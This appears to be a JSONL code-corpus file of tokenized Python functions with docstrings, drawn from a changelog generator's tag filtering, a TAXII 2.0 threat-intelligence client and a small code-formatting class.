{"signature": "def filter_due_tag(self, all_tags):", "body": "filtered_tags = []<EOL>tag = self.options.due_tag<EOL>tag_names = [t[\"<STR_LIT:name>\"] for t in all_tags]<EOL>try:<EOL><INDENT>idx = tag_names.index(tag)<EOL><DEDENT>except ValueError:<EOL><INDENT>self.warn_if_tag_not_found(tag, \"<STR_LIT>\")<EOL>return copy.deepcopy(all_tags)<EOL><DEDENT>due_tag = all_tags[idx]<EOL>due_date = self.get_time_of_tag(due_tag)<EOL>for t in all_tags:<EOL><INDENT>tag_date = self.get_time_of_tag(t)<EOL>if tag_date <= due_date:<EOL><INDENT>filtered_tags.append(t)<EOL><DEDENT><DEDENT>return filtered_tags<EOL>", "docstring": "Filter tags according due_tag option.\n\n:param list(dict) all_tags: Pre-filtered tags.\n:rtype: list(dict)\n:return: Filtered tags.", "id": "f4926:c0:m45"}
{"signature": "def filter_between_tags(self, all_tags):", "body": "tag_names = [t[\"<STR_LIT:name>\"] for t in all_tags]<EOL>between_tags = []<EOL>for tag in self.options.between_tags:<EOL><INDENT>try:<EOL><INDENT>idx = tag_names.index(tag)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ChangelogGeneratorError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(tag))<EOL><DEDENT>between_tags.append(all_tags[idx])<EOL><DEDENT>between_tags = self.sort_tags_by_date(between_tags)<EOL>if len(between_tags) == <NUM_LIT:1>:<EOL><INDENT>between_tags.append(between_tags[<NUM_LIT:0>])<EOL><DEDENT>older = self.get_time_of_tag(between_tags[<NUM_LIT:1>])<EOL>newer = self.get_time_of_tag(between_tags[<NUM_LIT:0>])<EOL>for tag in all_tags:<EOL><INDENT>if older < self.get_time_of_tag(tag) < newer:<EOL><INDENT>between_tags.append(tag)<EOL><DEDENT><DEDENT>if older == newer:<EOL><INDENT>between_tags.pop(<NUM_LIT:0>)<EOL><DEDENT>return between_tags<EOL>", "docstring": "Filter tags according between_tags option.\n\n:param list(dict) all_tags: Pre-filtered tags.\n:rtype: list(dict)\n:return: Filtered tags.", "id": "f4926:c0:m46"}
{"signature": "def filter_excluded_tags(self, all_tags):", "body": "filtered_tags = copy.deepcopy(all_tags)<EOL>if self.options.exclude_tags:<EOL><INDENT>filtered_tags = self.apply_exclude_tags(filtered_tags)<EOL><DEDENT>if self.options.exclude_tags_regex:<EOL><INDENT>filtered_tags = self.apply_exclude_tags_regex(filtered_tags)<EOL><DEDENT>return filtered_tags<EOL>", "docstring": "Filter tags according exclude_tags and exclude_tags_regex option.\n\n:param list(dict) all_tags: Pre-filtered tags.\n:rtype: list(dict)\n:return: Filtered tags.", "id": "f4926:c0:m47"}
{"signature": "def apply_exclude_tags_regex(self, all_tags):", "body": "filtered = []<EOL>for tag in all_tags:<EOL><INDENT>if not re.match(self.options.exclude_tags_regex, tag[\"<STR_LIT:name>\"]):<EOL><INDENT>filtered.append(tag)<EOL><DEDENT><DEDENT>if len(all_tags) == len(filtered):<EOL><INDENT>self.warn_if_nonmatching_regex()<EOL><DEDENT>return filtered<EOL>", "docstring": "Filter tags according exclude_tags_regex option.\n\n:param list(dict) all_tags: Pre-filtered tags.\n:rtype: list(dict)\n:return: Filtered tags.", "id": "f4926:c0:m48"}
{"signature": "def apply_exclude_tags(self, all_tags):", "body": "filtered = copy.deepcopy(all_tags)<EOL>for tag in all_tags:<EOL><INDENT>if tag[\"<STR_LIT:name>\"] not in self.options.exclude_tags:<EOL><INDENT>self.warn_if_tag_not_found(tag, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>filtered.remove(tag)<EOL><DEDENT><DEDENT>return filtered<EOL>", "docstring": "Filter tags according exclude_tags option.\n\n:param list(dict) all_tags: Pre-filtered tags.\n:rtype: list(dict)\n:return: Filtered tags.", "id": "f4926:c0:m49"}
{"signature": "def user_and_project_from_git(self, options, arg0=None, arg1=None):", "body": "user, project = self.user_project_from_option(options, arg0, arg1)<EOL>if user and project:<EOL><INDENT>return user, project<EOL><DEDENT>try:<EOL><INDENT>remote = subprocess.check_output(<EOL>[<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'.format(options.git_remote)<EOL>]<EOL>)<EOL><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>return None, None<EOL><DEDENT>except WindowsError:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>return self.user_project_from_remote(remote)<EOL><DEDENT>", "docstring": "Detects user and project from git.", "id": "f4927:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def user_project_from_option(options, arg0, arg1):<DEDENT>", "body": "site = options.github_site<EOL>if arg0 and not arg1:<EOL><INDENT>match = re.match(<EOL>\"<STR_LIT>\".format(site=site),<EOL>arg0<EOL>)<EOL>if not match:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(arg0=arg0))<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>return match.groups()<EOL><DEDENT>return None, None<EOL>", "docstring": "Try to find user and project name from git remote output\n\n@param [String] output of git remote command\n@return [Array] user and project", "id": "f4927:c1:m4"}
{"signature": "@staticmethod<EOL><INDENT>def user_project_from_remote(remote):<DEDENT>", "body": "<EOL>regex1 = br\"<STR_LIT>\"br\"<STR_LIT>\"<EOL>match = re.match(regex1, remote)<EOL>if match:<EOL><INDENT>return match.group(\"<STR_LIT:user>\"), match.group(\"<STR_LIT>\")<EOL><DEDENT>regex2 = r\"<STR_LIT>\"<EOL>match = re.match(regex2, remote)<EOL>if match:<EOL><INDENT>return match.group(\"<STR_LIT:user>\"), match.group(\"<STR_LIT>\")<EOL><DEDENT>return None, None<EOL>", "docstring": "Try to find user and project name from git remote output\n\n@param [String] output of git remote command\n@return [Array] user and project", "id": "f4927:c1:m5"}
{"signature": "def _format_datetime(dttm):", "body": "if dttm.tzinfo is None or dttm.tzinfo.utcoffset(dttm) is None:<EOL><INDENT>zoned = pytz.utc.localize(dttm)<EOL><DEDENT>else:<EOL><INDENT>zoned = dttm.astimezone(pytz.utc)<EOL><DEDENT>ts = zoned.strftime(\"<STR_LIT>\")<EOL>ms = zoned.strftime(\"<STR_LIT>\")<EOL>precision = getattr(dttm, \"<STR_LIT>\", None)<EOL>if precision == \"<STR_LIT>\":<EOL><INDENT>pass  <EOL><DEDENT>elif precision == \"<STR_LIT>\":<EOL><INDENT>ts = ts + \"<STR_LIT:.>\" + ms[:<NUM_LIT:3>]<EOL><DEDENT>elif zoned.microsecond > <NUM_LIT:0>:<EOL><INDENT>ts = ts + \"<STR_LIT:.>\" + ms.rstrip(\"<STR_LIT:0>\")<EOL><DEDENT>return ts + \"<STR_LIT>\"<EOL>", "docstring": "Convert a datetime object into a valid STIX timestamp string.\n\n    1. Convert to timezone-aware\n    2. Convert to UTC\n    3. Format in ISO format\n    4. Ensure correct precision\n       a. Add subsecond value if non-zero and precision not defined\n    5. Add \"Z\"", "id": "f4931:m0"}
{"signature": "def _ensure_datetime_to_string(maybe_dttm):", "body": "if isinstance(maybe_dttm, datetime.datetime):<EOL><INDENT>maybe_dttm = _format_datetime(maybe_dttm)<EOL><DEDENT>return maybe_dttm<EOL>", "docstring": "If maybe_dttm is a datetime instance, convert to a STIX-compliant\n    string representation.  Otherwise return the value unchanged.", "id": "f4931:m1"}
{"signature": "def _filter_kwargs_to_query_params(filter_kwargs):", "body": "query_params = {}<EOL>for kwarg, arglist in six.iteritems(filter_kwargs):<EOL><INDENT>if not arglist:<EOL><INDENT>continue<EOL><DEDENT>if not hasattr(arglist, \"<STR_LIT>\") orisinstance(arglist, six.string_types):<EOL><INDENT>arglist = arglist,<EOL><DEDENT>if kwarg == \"<STR_LIT:version>\":<EOL><INDENT>query_params[\"<STR_LIT>\"] = \"<STR_LIT:U+002C>\".join(<EOL>_ensure_datetime_to_string(val) for val in arglist<EOL>)<EOL><DEDENT>elif kwarg == \"<STR_LIT>\":<EOL><INDENT>if len(arglist) > <NUM_LIT:1>:<EOL><INDENT>raise InvalidArgumentsError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>query_params[\"<STR_LIT>\"] = \"<STR_LIT:U+002C>\".join(<EOL>_ensure_datetime_to_string(val) for val in arglist<EOL>)<EOL><DEDENT>else:<EOL><INDENT>query_params[\"<STR_LIT>\" + kwarg + \"<STR_LIT:]>\"] = \"<STR_LIT:U+002C>\".join(arglist)<EOL><DEDENT><DEDENT>return query_params<EOL>", "docstring": "Convert API keyword args to a mapping of URL query parameters.  Except for\n\"added_after\", all keywords are mapped to match filters, i.e. to a query\nparameter of the form \"match[<kwarg>]\".  \"added_after\" is left alone, since\nit's a special filter, as defined in the spec.\n\nEach value can be a single value or iterable of values.  \"version\" and\n\"added_after\" get special treatment, since they are timestamp-valued:\ndatetime.datetime instances are supported and automatically converted to\nSTIX-compliant strings.  Other than that, all values must be strings.  None\nvalues, empty lists, etc are silently ignored.\n\nArgs:\n    filter_kwargs: The filter information, as a mapping.\n\nReturns:\n    query_params (dict): The query parameter map, mapping strings to\n        strings.", "id": "f4931:m2"}
{"signature": "def _to_json(resp):", "body": "try:<EOL><INDENT>return resp.json()<EOL><DEDENT>except ValueError as e:<EOL><INDENT>six.raise_from(InvalidJSONError(<EOL>\"<STR_LIT>\" + resp.request.url<EOL>), e)<EOL><DEDENT>", "docstring": "Factors out some JSON parse code with error handling, to hopefully improve\nerror messages.\n\n:param resp: A \"requests\" library response\n:return: Parsed JSON.\n:raises: InvalidJSONError If JSON parsing failed.", "id": "f4931:m3"}
{"signature": "def __init__(self, url, conn=None, user=None, password=None, verify=True,<EOL>proxies=None):", "body": "if conn and (user or password):<EOL><INDENT>raise InvalidArgumentsError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif conn:<EOL><INDENT>self._conn = conn<EOL><DEDENT>else:<EOL><INDENT>self._conn = _HTTPConnection(user, password, verify, proxies)<EOL><DEDENT>if url[-<NUM_LIT:1>] == \"<STR_LIT:/>\":<EOL><INDENT>self.url = url<EOL><DEDENT>else:<EOL><INDENT>self.url = url + \"<STR_LIT:/>\"<EOL><DEDENT>", "docstring": "Create a TAXII endpoint.\n\n        Args:\n            user (str): username for authentication (optional)\n            password (str): password for authentication (optional)\n            verify (bool): validate the entity credentials (default: True)\n            conn (_HTTPConnection): A connection to reuse (optional)\n            proxies (dict): key/value pair for http/https proxy settings.\n                (optional)", "id": "f4931:c5:m0"}
{"signature": "def __init__(self, url, conn=None, user=None, password=None, verify=True,<EOL>proxies=None, status_info=None):", "body": "super(Status, self).__init__(url, conn, user, password, verify, proxies)<EOL>self.__raw = None<EOL>if status_info:<EOL><INDENT>self._populate_fields(**status_info)<EOL>self.__raw = status_info<EOL><DEDENT>else:<EOL><INDENT>self.refresh()<EOL><DEDENT>", "docstring": "Create an API root resource endpoint.\n\n        Args:\n            url (str): URL of a TAXII status resource endpoint\n            user (str): username for authentication (optional)\n            password (str): password for authentication (optional)\n            conn (_HTTPConnection): reuse connection object, as an alternative\n                to providing username/password\n            status_info (dict): Parsed JSON representing a response from the\n                status endpoint, if already known.  If not given, the\n                endpoint will be queried. (optional)\n            verify (bool): validate the entity credentials. (default: True)\n            proxies (dict): key/value pair for http/https proxy settings.\n                (optional)", "id": "f4931:c6:m0"}
{"signature": "@property<EOL><INDENT>def _raw(self):<DEDENT>", "body": "return self.__raw<EOL>", "docstring": "Get the \"raw\" status response (parsed JSON).", "id": "f4931:c6:m2"}
{"signature": "def refresh(self, accept=MEDIA_TYPE_TAXII_V20):", "body": "response = self.__raw = self._conn.get(self.url,<EOL>headers={\"<STR_LIT>\": accept})<EOL>self._populate_fields(**response)<EOL>", "docstring": "Updates Status information", "id": "f4931:c6:m4"}
{"signature": "def wait_until_final(self, poll_interval=<NUM_LIT:1>, timeout=<NUM_LIT>):", "body": "start_time = time.time()<EOL>elapsed = <NUM_LIT:0><EOL>while (self.status != \"<STR_LIT>\" and<EOL>(timeout <= <NUM_LIT:0> or elapsed < timeout)):<EOL><INDENT>time.sleep(poll_interval)<EOL>self.refresh()<EOL>elapsed = time.time() - start_time<EOL><DEDENT>", "docstring": "It will poll the URL to grab the latest status resource in a given\n        timeout and time interval.\n\n        Args:\n            poll_interval (int): how often to poll the status service.\n            timeout (int): how long to poll the URL until giving up. Use <= 0\n                to wait forever", "id": "f4931:c6:m5"}
{"signature": "def _validate_status(self):", "body": "if not self.id:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if not self.status:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if self.total_count is None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if self.success_count is None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if self.failure_count is None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if self.pending_count is None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if len(self.successes) != self.success_count:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.successes,<EOL>self.success_count,<EOL>self.id))<EOL><DEDENT>if len(self.pendings) != self.pending_count:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.pendings,<EOL>self.pending_count,<EOL>self.id))<EOL><DEDENT>if len(self.failures) != self.failure_count:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.failures,<EOL>self.failure_count,<EOL>self.id))<EOL><DEDENT>if (self.success_count + self.pending_count + self.failure_count !=<EOL>self.total_count):<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise ValidationError(msg.format(self.success_count,<EOL>self.pending_count,<EOL>self.failure_count,<EOL>self.total_count,<EOL>self.id))<EOL><DEDENT>", "docstring": "Validates Status information. Raises errors for required\n        properties.", "id": "f4931:c6:m7"}
{"signature": "def __init__(self, url, conn=None, user=None, password=None, verify=True,<EOL>proxies=None, collection_info=None):", "body": "super(Collection, self).__init__(url, conn, user, password, verify, proxies)<EOL>self._loaded = False<EOL>self.__raw = None<EOL>if collection_info:<EOL><INDENT>self._populate_fields(**collection_info)<EOL>self.__raw = collection_info<EOL>self._loaded = True<EOL><DEDENT>", "docstring": "Initialize a new Collection.  Either user/password or conn may be\ngiven, but not both.  The latter is intended for internal use, when\nsharing connection pools with an ApiRoot, mocking a connection for\ntesting, etc.  Users should use user/password (if required) which will\ncreate a new connection.\n\nArgs:\n    url (str): A TAXII endpoint for a collection\n    user (str): User name for authentication (optional)\n    password (str): Password for authentication (optional)\n    verify (bool): Either a boolean, in which case it controls whether\n        we verify the server's TLS certificate, or a string, in which\n        case it must be a path to a CA bundle to use. Defaults to\n        `True` (optional)\n    conn (_HTTPConnection): A connection to reuse (optional)\n    collection_info: Collection metadata, if known in advance (optional)\n    verify (bool): validate the entity credentials. (default: True)\n    proxies (dict): key/value pair for http/https proxy settings.\n        (optional)", "id": "f4931:c7:m0"}
{"signature": "@property<EOL><INDENT>def _raw(self):<DEDENT>", "body": "self._ensure_loaded()<EOL>return self.__raw<EOL>", "docstring": "Get the \"raw\" collection information response (parsed JSON).", "id": "f4931:c7:m9"}
{"signature": "def _validate_collection(self):", "body": "if not self._id:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if not self._title:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if self._can_read is None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if self._can_write is None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if self._id not in self.url:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self._id, self.url))<EOL><DEDENT>", "docstring": "Validates Collection information. Raises errors for required\n        properties.", "id": "f4931:c7:m11"}
{"signature": "def refresh(self, accept=MEDIA_TYPE_TAXII_V20):", "body": "response = self.__raw = self._conn.get(self.url,<EOL>headers={\"<STR_LIT>\": accept})<EOL>self._populate_fields(**response)<EOL>self._loaded = True<EOL>", "docstring": "Update Collection information", "id": "f4931:c7:m15"}
{"signature": "def get_objects(self, accept=MEDIA_TYPE_STIX_V20, **filter_kwargs):", "body": "self._verify_can_read()<EOL>query_params = _filter_kwargs_to_query_params(filter_kwargs)<EOL>return self._conn.get(self.objects_url, headers={\"<STR_LIT>\": accept},<EOL>params=query_params)<EOL>", "docstring": "Implement the ``Get Objects`` endpoint (section 5.3)", "id": "f4931:c7:m16"}
{"signature": "def get_object(self, obj_id, version=None, accept=MEDIA_TYPE_STIX_V20):", "body": "self._verify_can_read()<EOL>url = self.objects_url + str(obj_id) + \"<STR_LIT:/>\"<EOL>query_params = None<EOL>if version:<EOL><INDENT>query_params = _filter_kwargs_to_query_params({\"<STR_LIT:version>\": version})<EOL><DEDENT>return self._conn.get(url, headers={\"<STR_LIT>\": accept},<EOL>params=query_params)<EOL>", "docstring": "Implement the ``Get an Object`` endpoint (section 5.5)", "id": "f4931:c7:m17"}
{"signature": "def add_objects(self, bundle, wait_for_completion=True, poll_interval=<NUM_LIT:1>,<EOL>timeout=<NUM_LIT>, accept=MEDIA_TYPE_TAXII_V20,<EOL>content_type=MEDIA_TYPE_STIX_V20):", "body": "self._verify_can_write()<EOL>headers = {<EOL>\"<STR_LIT>\": accept,<EOL>\"<STR_LIT:Content-Type>\": content_type,<EOL>}<EOL>if isinstance(bundle, dict):<EOL><INDENT>json_text = json.dumps(bundle, ensure_ascii=False)<EOL>data = json_text.encode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>elif isinstance(bundle, six.text_type):<EOL><INDENT>data = bundle.encode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>elif isinstance(bundle, six.binary_type):<EOL><INDENT>data = bundle<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(<EOL>type(bundle).__name__))<EOL><DEDENT>status_json = self._conn.post(self.objects_url, headers=headers,<EOL>data=data)<EOL>status_url = urlparse.urljoin(<EOL>self.url,<EOL>\"<STR_LIT>\".format(status_json[\"<STR_LIT:id>\"])<EOL>)<EOL>status = Status(url=status_url, conn=self._conn,<EOL>status_info=status_json)<EOL>if not wait_for_completion or status.status == \"<STR_LIT>\":<EOL><INDENT>return status<EOL><DEDENT>status.wait_until_final(poll_interval, timeout)<EOL>return status<EOL>", "docstring": "Implement the ``Add Objects`` endpoint (section 5.4)\n\n        Add objects to the collection.  This may be performed either\n        synchronously or asynchronously.  To add asynchronously, set\n        wait_for_completion to False.  If False, the latter two args are\n        unused.  If the caller wishes to monitor the status of the addition,\n        it may do so in its own way.  To add synchronously, set\n        wait_for_completion to True, and optionally set the poll and timeout\n        intervals.  After initiating the addition, the caller will block,\n        and the TAXII \"status\" service will be polled until the timeout\n        expires, or the operation completes.\n\n        Args:\n            bundle: A STIX bundle with the objects to add (string, dict, binary)\n            wait_for_completion (bool): Whether to wait for the add operation\n                to complete before returning\n            poll_interval (int): If waiting for completion, how often to poll\n                the status service (seconds)\n            timeout (int): If waiting for completion, how long to poll until\n                giving up (seconds).  Use <= 0 to wait forever\n            accept (str): media type to include in the ``Accept:`` header.\n            content_type (str): media type to include in the ``Content-Type:``\n                header.\n\n        Returns:\n            If ``wait_for_completion`` is False, a Status object corresponding\n            to the initial status data returned from the service, is returned.\n            The status may not yet be complete at this point.\n\n            If ``wait_for_completion`` is True, a Status object corresponding\n            to the completed operation is returned if it didn't time out;\n            otherwise a Status object corresponding to the most recent data\n            obtained before the timeout, is returned.", "id": "f4931:c7:m18"}
{"signature": "def get_manifest(self, accept=MEDIA_TYPE_TAXII_V20, **filter_kwargs):", "body": "self._verify_can_read()<EOL>query_params = _filter_kwargs_to_query_params(filter_kwargs)<EOL>return self._conn.get(self.url + \"<STR_LIT>\",<EOL>headers={\"<STR_LIT>\": accept},<EOL>params=query_params)<EOL>", "docstring": "Implement the ``Get Object Manifests`` endpoint (section 5.6).", "id": "f4931:c7:m19"}
{"signature": "def __init__(self, url, conn=None, user=None, password=None, verify=True,<EOL>proxies=None):", "body": "super(ApiRoot, self).__init__(url, conn, user, password, verify, proxies)<EOL>self._loaded_collections = False<EOL>self._loaded_information = False<EOL>self.__raw = None<EOL>", "docstring": "Create an API root resource endpoint.\n\n        Args:\n            url (str): URL of a TAXII API root resource endpoint\n            user (str): username for authentication (optional)\n            password (str): password for authentication (optional)\n            conn (_HTTPConnection): reuse connection object, as an alternative\n                to providing username/password\n            verify (bool): validate the entity credentials. (default: True)\n            proxies (dict): key/value pair for http/https proxy settings.\n                (optional)", "id": "f4931:c8:m0"}
{"signature": "@property<EOL><INDENT>def _raw(self):<DEDENT>", "body": "self._ensure_loaded_information()<EOL>return self.__raw<EOL>", "docstring": "Get the \"raw\" API root information response (parsed JSON).", "id": "f4931:c8:m7"}
{"signature": "def _validate_api_root(self):", "body": "if not self._title:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if not self._versions:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>if self._max_content_length is None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>", "docstring": "Validates API Root information. Raises errors for required\n        properties.", "id": "f4931:c8:m9"}
{"signature": "def refresh(self, accept=MEDIA_TYPE_TAXII_V20):", "body": "self.refresh_information(accept)<EOL>self.refresh_collections(accept)<EOL>", "docstring": "Update the API Root's information and list of Collections", "id": "f4931:c8:m11"}
{"signature": "def refresh_information(self, accept=MEDIA_TYPE_TAXII_V20):", "body": "response = self.__raw = self._conn.get(self.url,<EOL>headers={\"<STR_LIT>\": accept})<EOL>self._populate_fields(**response)<EOL>self._loaded_information = True<EOL>", "docstring": "Update the properties of this API Root.\n\n        This invokes the ``Get API Root Information`` endpoint.", "id": "f4931:c8:m12"}
{"signature": "def refresh_collections(self, accept=MEDIA_TYPE_TAXII_V20):", "body": "url = self.url + \"<STR_LIT>\"<EOL>response = self._conn.get(url, headers={\"<STR_LIT>\": accept})<EOL>self._collections = []<EOL>for item in response.get(\"<STR_LIT>\", []):  <EOL><INDENT>collection_url = url + item[\"<STR_LIT:id>\"] + \"<STR_LIT:/>\"<EOL>collection = Collection(collection_url, conn=self._conn,<EOL>collection_info=item)<EOL>self._collections.append(collection)<EOL><DEDENT>self._loaded_collections = True<EOL>", "docstring": "Update the list of Collections contained by this API Root.\n\n        This invokes the ``Get Collections`` endpoint.", "id": "f4931:c8:m13"}
{"signature": "def __init__(self, url, conn=None, user=None, password=None, verify=True,<EOL>proxies=None):", "body": "super(Server, self).__init__(url, conn, user, password, verify, proxies)<EOL>self._user = user<EOL>self._password = password<EOL>self._verify = verify<EOL>self._proxies = proxies<EOL>self._loaded = False<EOL>self.__raw = None<EOL>", "docstring": "Create a server discovery endpoint.\n\n        Args:\n            url (str): URL of a TAXII server discovery endpoint\n            user (str): username for authentication (optional)\n            password (str): password for authentication (optional)\n            conn (_HTTPConnection): reuse connection object, as an alternative\n                to providing username/password\n            verify (bool): validate the entity credentials. (default: True)\n            proxies (dict): key/value pair for http/https proxy settings.\n                (optional)", "id": "f4931:c9:m0"}
{"signature": "@property<EOL><INDENT>def _raw(self):<DEDENT>", "body": "self._ensure_loaded()<EOL>return self.__raw<EOL>", "docstring": "Get the \"raw\" server discovery response (parsed JSON).", "id": "f4931:c9:m7"}
{"signature": "def _validate_server(self):", "body": "if not self._title:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValidationError(msg.format(self.url))<EOL><DEDENT>", "docstring": "Validates server information. Raises errors for required properties.", "id": "f4931:c9:m9"}
{"signature": "def refresh(self):", "body": "response = self.__raw = self._conn.get(self.url)<EOL>self._populate_fields(**response)<EOL>self._loaded = True<EOL>", "docstring": "Update the Server information and list of API Roots", "id": "f4931:c9:m11"}
{"signature": "def __init__(self, user=None, password=None, verify=True, proxies=None,<EOL>user_agent=DEFAULT_USER_AGENT):", "body": "self.session = requests.Session()<EOL>self.session.verify = verify<EOL>self.user_agent = user_agent or DEFAULT_USER_AGENT<EOL>if user and password:<EOL><INDENT>self.session.auth = requests.auth.HTTPBasicAuth(user, password)<EOL><DEDENT>if proxies:<EOL><INDENT>self.session.proxies.update(proxies)<EOL><DEDENT>", "docstring": "Create a connection session.\n\n        Args:\n            user (str): username for authentication (optional)\n            password (str): password for authentication (optional)\n            verify (bool): validate the entity credentials. (default: True)\n            proxies (dict): key/value pair for http/https proxy settings.\n                (optional)\n            user_agent (str): A value to use for the User-Agent header in\n                requests.  If not given, use a default value which represents\n                this library.", "id": "f4931:c10:m0"}
{"signature": "def valid_content_type(self, content_type, accept):", "body": "accept_tokens = accept.replace('<STR_LIT:U+0020>', '<STR_LIT>').split('<STR_LIT:;>')<EOL>content_type_tokens = content_type.replace('<STR_LIT:U+0020>', '<STR_LIT>').split('<STR_LIT:;>')<EOL>return (<EOL>all(elem in content_type_tokens for elem in accept_tokens) and<EOL>(content_type_tokens[<NUM_LIT:0>] == '<STR_LIT>' or<EOL>content_type_tokens[<NUM_LIT:0>] == '<STR_LIT>')<EOL>)<EOL>", "docstring": "Check that the server is returning a valid Content-Type\n\n        Args:\n            content_type (str): ``Content-Type:`` header value\n            accept (str): media type to include in the ``Accept:`` header.", "id": "f4931:c10:m1"}
{"signature": "def get(self, url, headers=None, params=None):", "body": "merged_headers = self._merge_headers(headers)<EOL>if \"<STR_LIT>\" not in merged_headers:<EOL><INDENT>merged_headers[\"<STR_LIT>\"] = MEDIA_TYPE_TAXII_V20<EOL><DEDENT>accept = merged_headers[\"<STR_LIT>\"]<EOL>resp = self.session.get(url, headers=merged_headers, params=params)<EOL>resp.raise_for_status()<EOL>content_type = resp.headers[\"<STR_LIT:Content-Type>\"]<EOL>if not self.valid_content_type(content_type=content_type, accept=accept):<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TAXIIServiceException(msg.format(content_type, accept))<EOL><DEDENT>return _to_json(resp)<EOL>", "docstring": "Perform an HTTP GET, using the saved requests.Session and auth info.\n        If \"Accept\" isn't one of the given headers, a default TAXII mime type is\n        used.  Regardless, the response type is checked against the accept\n        header value, and an exception is raised if they don't match.\n\n        Args:\n            url (str): URL to retrieve\n            headers (dict): Any other headers to be added to the request.\n            params: dictionary or bytes to be sent in the query string for the\n                request. (optional)", "id": "f4931:c10:m2"}
{"signature": "def post(self, url, headers=None, params=None, **kwargs):", "body": "if len(kwargs) > <NUM_LIT:1>:<EOL><INDENT>raise InvalidArgumentsError(\"<STR_LIT>\".format(<EOL>len(kwargs)))<EOL><DEDENT>if kwargs:<EOL><INDENT>kwarg = next(iter(kwargs))<EOL>if kwarg not in (\"<STR_LIT>\", \"<STR_LIT:data>\"):<EOL><INDENT>raise InvalidArgumentsError(\"<STR_LIT>\" + kwarg)<EOL><DEDENT><DEDENT>resp = self.session.post(url, headers=headers, params=params, **kwargs)<EOL>resp.raise_for_status()<EOL>return _to_json(resp)<EOL>", "docstring": "Send a JSON POST request with the given request headers, additional\n        URL query parameters, and the given JSON in the request body.  The\n        extra query parameters are merged with any which already exist in the\n        URL.  The 'json' and 'data' parameters may not both be given.\n\n        Args:\n            url (str): URL to retrieve\n            headers (dict): Any other headers to be added to the request.\n            params: dictionary or bytes to be sent in the query string for the\n                request. (optional)\n            json: json to send in the body of the Request.  This must be a\n                JSON-serializable object. (optional)\n            data: raw request body data.  May be a dictionary, list of tuples,\n                bytes, or file-like object to send in the body of the Request.\n                (optional)", "id": "f4931:c10:m3"}
{"signature": "def close(self):", "body": "self.session.close()<EOL>", "docstring": "Closes connections.  This object is no longer usable.", "id": "f4931:c10:m4"}
{"signature": "def _merge_headers(self, call_specific_headers):", "body": "<EOL>merged_headers = requests.structures.CaseInsensitiveDict({<EOL>\"<STR_LIT>\": self.user_agent<EOL>})<EOL>if call_specific_headers:<EOL><INDENT>merged_headers.update(call_specific_headers)<EOL><DEDENT>if not merged_headers.get(\"<STR_LIT>\"):<EOL><INDENT>merged_headers[\"<STR_LIT>\"] = self.user_agent<EOL><DEDENT>return merged_headers<EOL>", "docstring": "Merge headers from different sources together.  Headers passed to the\npost/get methods have highest priority, then headers associated with\nthe connection object itself have next priority.\n\n:param call_specific_headers: A header dict from the get/post call, or\n    None (the default for those methods).\n:return: A key-case-insensitive MutableMapping object which contains\n    the merged headers.  (This doesn't actually return a dict.)", "id": "f4931:c10:m5"}
{"signature": "def __init__(self, input_file):", "body": "self.input_file = input_file<EOL>self.lines = []<EOL>self.tabs = <NUM_LIT:0><EOL>self.package = '<STR_LIT>'<EOL>self.name = None<EOL>self.defines = []<EOL>self.uses = []<EOL>self.imports = []<EOL>", "docstring": "Constructor.\n\n        Keyword arguments:\n        input_file -- input file name", "id": "f4935:c0:m0"}
{"signature": "def _print(self, line='<STR_LIT>'):", "body": "self.lines.append('<STR_LIT>'.format('<STR_LIT:\\t>'*self.tabs , line))<EOL>", "docstring": "Append line to internal list. \n        Uses self.tabs to format indents.\n\n        Keyword arguments:\n        line -- line to append", "id": "f4935:c0:m1"}
